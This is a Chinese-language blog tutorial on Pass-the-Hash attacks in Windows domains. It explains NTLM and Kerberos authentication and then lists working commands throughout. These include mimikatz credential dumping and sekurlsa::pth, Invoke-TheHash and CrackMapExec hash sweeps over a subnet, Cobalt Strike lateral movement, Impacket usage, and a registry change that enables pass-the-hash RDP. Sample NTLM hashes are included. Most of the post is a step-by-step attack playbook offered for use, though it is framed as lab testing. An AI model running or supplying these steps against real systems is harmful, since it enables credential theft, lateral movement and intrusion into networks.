PTH哈希传递攻击

一.PTH哈希传递攻击原理条件

1.PTH介绍

PTH(Pass The Hash),中文叫哈希传递攻击,在NTLM和Kerberos认证中,都需要用到用户的NTLM-Hash值进行加密认证,所以我们知道了对方用户的NTLN-Hash值之后就可以使用PTH进行认证。
在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。

2. PTH原理 - NTLM认证中

Response是如何生成的呢?
他是由 Response =NTProofStr+blob两部分拼接起来的

NTProofStr : NTLM-v2-Hash值 和 challenge+blob 进行 HMAC-MD5加密
NTLM-v2-Hash: 大写的用户名+域名编码成unicode格式,然后和密码的NTLM-Hash值进行HMAC-MD5加密
blob是由时间,目标信息,随机填充字符等生成。
3. PTH的原理-kerberos认证中

AS-REQ(AS-requests):主要包含了用户的一些信息,是由客户端发送给AS的数据包。里面有几个
重要信息:

PA-DATA pA-ENC-TIMESTAMP 使用用户的hash,或者AES key加密时间戳 生成value  
PA-DATA pA-PAC-REQUEST,是否包含了PAC
kdc-options 协商字段
cname 请求的用户名
realm: 域名
sname 请求的服务
3. PTH的条件
有管理员的 NTLM Hash ,并且目标机器开放445端口
内网中使用相同的账号密码
开放了445端口

哪种账号可以PTH?

域管理员administrator
普通域管理员(admin domain组中的用户)
普通域用户
本地管理员administrator
本地普通管理员
本地普通用户

二.不同用户下的PTH区别

1.本地测试

在每个机器上执行如下的命令:

@echo off
net user administrator /active:yes
net user administrator Admin123
net user LEE Lyp010822 /add
net localgroup administrators LEE /add
net user test LYp010822 /add

然后使用mimikatz进行PTH进行测试

命令:mimikatz.exe “privilege::debug” “sekurlsa::pth /user:用户名 /domain:域名或者IP /ntlm:ntlm-hash

执行完成之后会弹出一个cmd

抓取命令

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam“

每个用户的hash值如下:
在这里插入图片描述

User : Administrator
Hash NTLM: e45a314c664d40a227f9540121d1a29d

User : LEE
Hash NTLM: 25b73c91d04dea594786e04d7bb38cee

User : test
Hash NTLM: 346e09c4c3297dbc814c9ee8a6144fcf

本地账号(administrator)
这里使用不同的机器进行PTH攻击,电脑上都有相同的账号密码,测试结果如下:

server 2003
在这里插入图片描述
server 2012
在这里插入图片描述
server 2008 R2
在这里插入图片描述
win 10
在这里插入图片描述

本地普通管理员账号(LEE)
我们这里使用不同的机器进行PTH攻击,电脑上都有相同的账号密码,测试结果如下:

server 2003
在这里插入图片描述
server 2012
在这里插入图片描述
server 2008 R2
在这里插入图片描述
win10
在这里插入图片描述

本地普通账号(test)
我们这里使用不同的机器进行PTH攻击,电脑上都有相同的账号密码,测试结果如下:

server 2003
在这里插入图片描述
win 10
在这里插入图片描述
总结

在本地账号的情况下
Administrator 可以进行PTH传递攻击
本地普通管理员,不可以进行PTH攻击(除过早期的电脑 2003 xp)
本地的普通用户,不可以进行PTH攻击
2. 域内测试

测试账号及对应ntlm-hash值:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:25b73c91d04dea594786e04d7bb38cee
LEE:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
test:1115:aad3b435b51404eeaad3b435b51404ee:346e09c4c3297dbc814c9ee8a6144fcf

域超级管理员(administrator)
我们这里使用不同的机器进行PTH攻击,电脑上都有相同的账号密码,测试结果如下:

server 2012(DC)
在这里插入图片描述
server 2008(ONE-PC)
在这里插入图片描述
WIN 10(THREE-PC)
在这里插入图片描述

server 2003(FOUR-PC)
在这里插入图片描述
域普通管理员(LEE)
我们这里使用不同的机器进行PTH攻击,电脑上都有相同的账号密码,测试结果如下:

server 2012 (DC)
在这里插入图片描述
server 2008(ONE-PC)
在这里插入图片描述
WIN 10 (THREE-PC)
在这里插入图片描述
server 2003 (FOUR-PC)
在这里插入图片描述

域普通用户(test)
我们这里使用不同的机器进行PTH攻击,电脑上都有相同的账号密码,测试结果如下:
普通用户都不可进行PTH
在这里插入图片描述
在这里插入图片描述
总结

域账号:
Administrator 可以用来PTH
域普通管理员 可以用来PTH
域普通用户 不可以(默认)

三.Hash碰撞查询可利用的PTH

在内网中系统在安装的时候采用统一的账号密码,当我们获取的一台电脑的Hash值之后(administrator)可以使用hash碰撞的方式进行碰撞,(本质就是批量进行hash传递)找出相同
的账号密码的机器

介绍几个工具可以在不同的环境下进行PTH

Powershell脚本
EXE工具

可以使用CrackMapExec工具,进行批量的hash传递攻击,测试内网中具有相同账号密码的
机器

下载地址:https://github.com/Porchetta-Industries/CrackMapExec/releases/tag/v5.4.0
该工具支持win lin mac 等系

1.powershell脚本

Invoke-TheHash,通过把NTLM hash传递给NTLMv2身份验证协议来进行身份验证的攻击套件,
且执行时客户端不需要本地管理员权限。
条件:PowerShell 2.0及以上(2008之后的都可以使用)

使用方法

Import-Module .Invoke-TheHash.ps1(导入批量模块)
Import-Module .Invoke-WMIExec.ps1(导入wmi模块)
Invoke-TheHash -Type WMIExec -Target 192.168.41.0/24 -Username administrator -Hash 25b73c91d04dea594786e04d7bb38cee

利用CS测试
第一步:上传工具包以及解压工具包的软件
在这里插入图片描述
第二步:
解压Invoke-TheHash.ZIP,会在当前目录生成解压文件
在这里插入图片描述
第三步:
进入目录,导入Invoke-TheHash.psd1入口文件,运行

shell powershell -exec bypass -command "& { Import-Module .\Invoke-TheHash.psd1;Invoke-TheHash -Type WMIExec -Target 192.168.41.0/24 -Username administrator -Hash 25b73c91d04dea594786e04d7bb38cee}"

在这里插入图片描述

本地测试

在这里插入图片描述

2.EXE工具

CrackMapExec,该工具的用处非常多我们只介绍批量PTH的用法,支持windows和python,kali 中自带该工具。
第一步:上传ZIP文件,然后解压
在这里插入图片描述
在这里插入图片描述
第二步:运行批量PTH的命令

crackmapexec.exe 192.168.41.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:25b73c91d04dea594786e04d7bb38cee

在这里插入图片描述

“+”代表成功的

本地测试

在这里插入图片描述

四.CS下的PTH工具横向上线

通过上面实验知道了PTH,本质是上认证,之前IPC$我们是通过账号密码进行认证的PTH是通过账号和hash值进行认证的,但是光认证还是不够的,认证通过之后还需要配合上传,计划任务,服务等其他的操作进行上线,接下来我们讲解如何进行上线的操作。
方法一
CS自带的插件可以使用PTH直接横向上线
在这里插入图片描述
点击以列表形式展现目标右键选择横向移动上线机器

在这里插入图片描述
配置好使用的账号权限,监听器等
在这里插入图片描述

五.使用Mimikatz工具进行PTH

然后使用mimikatz进行PTH进行测试

命令:
mimikatz.exe “privilege::debug” “sekurlsa::pth /user:用户名 /domain:域名或者IP /ntlm:ntlm- hash

执行完成之后会弹出一个cmd,可以用来执行copy,计划任务,服务等让他上线

CS上测试
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

本地测试

privilege::debug 
sekurlsa::pth /user:用户名 /domain:域名或者IP /ntlm:ntlm-hash
执行完成之后会弹出一个cmd
sekurlsa::pth /user:administrator /domain:192.168.41.40 /ntlm:25b73c91d04dea594786e04d7bb38cee

在这里插入图片描述

六.使用其他工具进行PTH

我们介绍一个工具包Impacket,使用python编写,支持win,这
里我们使用win下的
地址:https://www.secureauth.com/labs/open-source-tools/impacket/

用法
工具用法格式和命令都一样,支持明文密码和Hash值,默认会打开cmd

命令
用户名:密码@IP地址
用户名@IP地址 -hashes LM-HASH:NTLM-HASH
域名/域账号:密码@IP地址(或者全域名)
域名/域账号@IP地址(或者全域名) -hashes LM-HASH:NTLM-HASH

七.利用PTH进行远程桌面

如果说我们PTH攻击之后很多命令不行或者被杀软杀掉了,可以使用PTH RDP的方式,当然一般是高版本的电脑才可以,需要开启"Restricted Admin Mode", 在Windows8.1和Windows Server 2012R2上默认开启

开启命令:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

命令:
privilege::debug
sekurlsa::pth /user:administrator /domain:192.168.41.139 /ntlm:25b73c91d04dea594786e04d7bb38cee 

“/run:mstsc.exe /restrictedadmin

server 2008
在这里插入图片描述
win 10
在这里插入图片描述

  • 22
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值